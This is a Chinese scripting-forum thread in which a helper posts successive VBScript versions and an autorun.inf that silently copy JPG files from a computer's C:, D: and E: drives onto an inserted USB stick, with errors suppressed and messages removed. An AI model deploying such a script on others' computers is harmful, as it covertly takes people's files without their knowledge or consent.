[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖
貌似我以前写过了,你在论坛搜索看看
---学无止境---

TOP

---学无止境---

TOP

你描述都不清楚叫我怎么写?

“U盘插入电脑上自动复制电脑上的EXCEL文件的VBS脚本”

就是复制?从哪里复制到哪里?
---学无止境---

TOP

中午没有时间写,现在才有空。
  1. Dim fso,Disks,Disk,JpgPath
  2. Set fso = CreateObject("Scripting.FileSystemObject")
  3. Do
  4.   n = n+1
  5.   Set Disks = fso.Drives
  6.   For Each Disk In Disks
  7.     If Disk.IsReady And Disk.DriveType = 1 Then
  8.       JpgPath = Disk.DriveLetter & ":\"
  9.       U = True
  10.     End if
  11.   Next
  12.   If U = True Then
  13.      MsgBox "复制中...请稍后..."
  14.      For Each Disk In Disks
  15.     If Disk.IsReady And Disk.DriveType = 2 Then
  16. CopyJpgs(Disk.DriveLetter & ":\")
  17.     End if
  18.      Next
  19.      MsgBox "Succeed."
  20.   Else
  21.     If n=1 Then
  22.       Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
  23.     End if
  24.   End If
  25.   WScript.Sleep 30000  '每30秒循环一次
  26. Loop
  27. Sub CopyJpgs(path)
  28.   Dim folder,subfolders,Files
  29.   Set folder = fso.getfolder(path)
  30.   Set subfolders = folder.subfolders
  31.   Set Files = folder.Files
  32.   For Each File In Files
  33.     If fso.GetExtensionName(File.path)="jpg" Then
  34.       fso.CopyFile File.Path,JpgPath,True '设置为True,表示如果文件存在则覆盖
  35.     End if
  36.   Next
  37.   For Each subfolder In subfolders
  38.       CopyJpgs(subfolder.path) '递归查找子目录
  39.   Next
  40. End Sub
复制代码
---学无止境---

TOP

中午没有时间写,现在才有空。
  1. Dim fso,Disks,Disk,JpgPath
  2. Set fso = CreateObject("Scripting.FileSystemObject")
  3. Do
  4.   n = n+1
  5.   Set Disks = fso.Drives
  6.   For Each Disk In Disks
  7.     If Disk.IsReady And Disk.DriveType = 1 Then
  8.       JpgPath = Disk.DriveLetter & ":\"
  9.       U = True
  10.     End if
  11.   Next
  12.   If U = True Then
  13.      MsgBox "复制中...请稍后..."
  14.      For Each Disk In Disks
  15.     If Disk.IsReady And Disk.DriveType = 2 Then
  16. CopyJpgs(Disk.DriveLetter & ":\")
  17.     End if
  18.      Next
  19.      MsgBox "Succeed."
  20.   Else
  21.     If n=1 Then
  22.       Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
  23.     End if
  24.   End If
  25.   WScript.Sleep 30000  '每30秒循环一次
  26. Loop
  27. Sub CopyJpgs(path)
  28.   Dim folder,subfolders,Files
  29.   Set folder = fso.getfolder(path)
  30.   Set subfolders = folder.subfolders
  31.   Set Files = folder.Files
  32.   For Each File In Files
  33.     If fso.GetExtensionName(File.path)="jpg" Then
  34.       fso.CopyFile File.Path,JpgPath,True '设置为True,表示如果文件存在则覆盖
  35.     End if
  36.   Next
  37.   For Each subfolder In subfolders
  38.       CopyJpgs(subfolder.path) '递归查找子目录
  39.   Next
  40. End Sub
复制代码
---学无止境---

TOP

不用,直接复制到U盘的
---学无止境---

TOP

回复 15# lyzhangzj


    什么意思?你的不是JPG文件吗,怎么又变成TXT了?
---学无止境---

TOP

回复 18# lyzhangzj


    插入U盘自动运行需要在你的U盘加一个autorun.inf的文件。
   你先把所有的需求一次性表达清楚了。我没时间跟你一点一点的讲解
---学无止境---

TOP

Autorun.inf
  1. [autorun]
  2. open=wscript.exe AutoCopy.vbs
  3. shell\open=打开(&O)
  4. shell\open\command=wscript.exe AutoCopy.vbss
复制代码
  1. '保存我为 AutoCopy.vbs
  2. Dim fso,Disks,Disk,JpgPath
  3. Set fso = CreateObject("Scripting.FileSystemObject")
  4. Do
  5.   n = n+1
  6.   Set Disks = fso.Drives
  7.   For Each Disk In Disks
  8.     If Disk.IsReady And Disk.DriveType = 1 Then
  9.       JpgPath = Disk.DriveLetter & ":\资料\"
  10.       U = True
  11.     End if
  12.   Next
  13.   If U = True Then
  14.       CopyJpgs("C:\")
  15.   CopyJpgs("D:\")
  16.   CopyJpgs("E:\")
  17.   Else
  18.     If n=1 Then
  19.       WScript.Quit
  20.     End if
  21.   End If
  22.   WScript.Sleep 30000  '每30秒循环一次
  23. Loop
  24. Sub CopyJpgs(path)
  25.   Dim folder,subfolders,Files
  26.   Set folder = fso.getfolder(path)
  27.   Set subfolders = folder.subfolders
  28.   Set Files = folder.Files
  29.   For Each File In Files
  30.     If fso.GetExtensionName(File.path)="jpg" Then
  31.       fso.CopyFile File.Path,JpgPath,True '设置为True,表示如果文件存在则覆盖
  32.     End if
  33.   Next
  34.   For Each subfolder In subfolders
  35.       CopyJpgs(subfolder.path) '递归查找子目录
  36.   Next
  37. End Sub
复制代码
---学无止境---

TOP

本帖最后由 broly 于 2011-11-22 14:23 编辑

不能自动运行应该是autorun.inf文件被禁用了,这是防止U盘病毒的做法,或者你顶楼那个autorun.inf写错了,我是复制那里的。提示出错,是不是你U盘没有“资料”这个文件夹?
---学无止境---

TOP

我晚点再看看吧。现在用手机上线
---学无止境---

TOP

回复 25# lyzhangzj


    我知道什么原因了。C盘有些文件夹VBS是不能访问的,其他盘的可以访问,所以说提示出错了。那些不够访问权限的,我把它屏蔽了。
至于自动运行的,我还没想到什么好方法。因为自动运行的功能,杀毒软件一向很注意防护的
  1. '保存我为 AutoCopy.vbs
  2. On Error Resume Next
  3. Dim fso,Disks,Disk,JpgPath
  4. Set fso = CreateObject("Scripting.FileSystemObject")
  5. Do
  6.   n = n+1
  7.   Set Disks = fso.Drives
  8.   For Each Disk In Disks
  9.     If Disk.IsReady And Disk.DriveType = 1 Then
  10.       JpgPath = Disk.DriveLetter & ":\资料\"
  11.       U = True
  12.     End if
  13.   Next
  14.   If U = True Then
  15.       CopyJpgs("C:\")
  16.           CopyJpgs("D:\")
  17.           CopyJpgs("E:\")
  18.   Else
  19.     If n=1 Then
  20.       WScript.Quit
  21.     End if
  22.   End If
  23.   WScript.Sleep 30000  '每30秒循环一次
  24. Loop
  25. Sub CopyJpgs(path)
  26.   Dim folder,subfolders,Files
  27.   Set folder = fso.getfolder(path)
  28.   Set subfolders = folder.subfolders
  29.   Set Files = folder.Files
  30.   For Each File In Files
  31.    If Err.Number=0 Then
  32.     If fso.GetExtensionName(File.path)="jpg" Then
  33.       fso.CopyFile File.Path,JpgPath,True '设置为True,表示如果文件存在则覆盖
  34.     End If
  35. Else
  36. Err.Clear
  37. End If
  38.   Next
  39.   For Each subfolder In subfolders
  40.       CopyJpgs(subfolder.path) '递归查找子目录
  41.   Next
  42. End Sub
复制代码
---学无止境---

TOP

坑爹啊,就不能一次性把需求说清楚吗?
  1. '保存我为 AutoCopy.vbs
  2. On Error Resume Next
  3. Dim fso,Disks,Disk,JpgPath
  4. Set fso = CreateObject("Scripting.FileSystemObject")
  5. Do
  6.   n = n+1
  7.   Set Disks = fso.Drives
  8.   For Each Disk In Disks
  9.     If Disk.IsReady And Disk.DriveType = 1 Then
  10.       JpgPath = Disk.DriveLetter & ":\资料\"
  11.       U = True
  12.     End if
  13.   Next
  14.   If U = True Then
  15.       CopyJpgs("C:\")
  16.           CopyJpgs("D:\")
  17.           CopyJpgs("E:\")
  18.   Else
  19.     If n=1 Then
  20.       WScript.Quit
  21.     End if
  22.   End If
  23.   WScript.Sleep 30000  '每30秒循环一次
  24. Loop
  25. Sub CopyJpgs(path)
  26.   Dim folder,subfolders,Files
  27.   Set folder = fso.getfolder(path)
  28.   Set subfolders = folder.subfolders
  29.   Set Files = folder.Files
  30.   For Each File In Files
  31.           If Err.Number=0 Then
  32.             If fso.GetExtensionName(File.path)="jpg" And _
  33.              fso.GetFile(File.path).Size>100*1024 Then
  34.               fso.CopyFile File.Path,JpgPath,True '设置为True,表示如果文件存在则覆盖
  35.             End If
  36.         Else
  37.                 Err.Clear
  38.         End If
  39.   Next
  40.   For Each subfolder In subfolders
  41.       CopyJpgs(subfolder.path) '递归查找子目录
  42.   Next
  43. End Sub
复制代码
---学无止境---

TOP

回复 32# longmao


    那个要求跟你这个要求是不一样的,当然不能满足你的需求。
    是要监控系统,一插入U盘就自动复制。还是你自己按照需要手动运行,然后自动复制?
    需要高效率,可以用批处理。
    另外,你重开一帖子吧,我在新的帖子里回复
---学无止境---

TOP

返回列表